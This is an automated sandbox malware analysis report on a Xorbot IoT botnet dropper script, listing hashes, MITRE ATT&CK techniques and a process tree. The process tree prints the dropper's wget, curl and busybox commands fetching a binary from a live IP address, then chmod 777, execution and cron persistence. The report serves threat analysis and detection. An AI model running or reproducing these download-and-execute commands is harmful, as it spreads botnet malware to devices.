xorbot | bd6cd721c42874cb2242e64bcc17ab58442d0de2ca5302438b17712d83839942

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04-12-2024 10:27

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General

Target

bins.sh
Size

10KB
MD5

9233bf649a4624ec647262c74da69bec
SHA1

345be1eaa98aba4c1ff55ad977ea48281e6b60c3
SHA256

bd6cd721c42874cb2242e64bcc17ab58442d0de2ca5302438b17712d83839942
SHA512

285bf6e13dec59ea4792dd4b47b82cb53afe423ec49e009f716b2f6b6c4e9f28367ae08b4eb791fafae5f239a432c95e870562eb09fa24a3cb8237b657c85013
SSDEEP

96:/Ro+uSOePnaUgRdP4/EA4f/sUyyY7/Mc/k9/O/EA4f/aUyyY7//DgfRo+u7SOePQ:/uSOePnaVKLUyyY7/iyyY7/7SOePnQ

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1492	chmod

Executes dropped EXE 1 IoCs

Processes:

vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

ioc	pid	Process
/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	1493	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

Renames itself 1 IoCs

Processes:

vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

pid	Process
1494	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.JfKjYB	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

description	ioc	Process
File opened for reading	/proc/1178/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1343/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1531/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1549/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/162/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/169/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/669/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1125/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1585/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1559/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/8/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/115/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/949/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1113/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1594/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1138/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1155/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1243/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1468/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1144/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/12/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/17/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/156/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1117/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/79/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1565/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1578/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/36/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/2/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/502/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1542/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1514/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1552/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/13/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/16/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/84/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/404/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1566/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/20/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/154/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/461/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1080/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1576/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/417/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/594/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/861/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1558/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/501/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1143/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1316/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/197/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1469/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1507/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1543/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/82/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1014/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1033/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1076/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/28/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/595/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1467/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/1567/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/433/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
File opened for reading	/proc/460/cmdline	vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	wget
File opened for modification	/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	curl
File opened for modification	/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1473
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1474
- /usr/bin/wget
  wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Writes file to tmp directory
  PID:1475
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Writes file to tmp directory
  PID:1485
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/chmod
  chmod 777 vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  ./vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1493
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1495
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1496
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1497
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1498
- /bin/rm
  rm vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://216.126.231.240/bins/eeottpoOLHy7HV7OjKDqHror8wlFLJjcwe
  2⤵
  PID:1511

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/vNJaAOGryITiVtIOlh8db8YQxBlI0rI9i1

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.JfKjYB

Filesize
210B

MD5
af9a41c7667b7a1140c10d5d7e8e8c5f

SHA1
613860ba609f314b360003bbac78bbb69bf0cd95

SHA256
9af6b01d6fdc3e27ef635e87d69227d67157ea372e6bb32b9a0c29ac302445f2

SHA512
c9df89c970c9a585fac7daf13c52cd57f22b8fe22c57f31b2567c85e7fc30776d8855bcc03491ed1be8ed2054c6e7081ab3fc891d72f8ed12b4a221a6f96cda7

Download Submit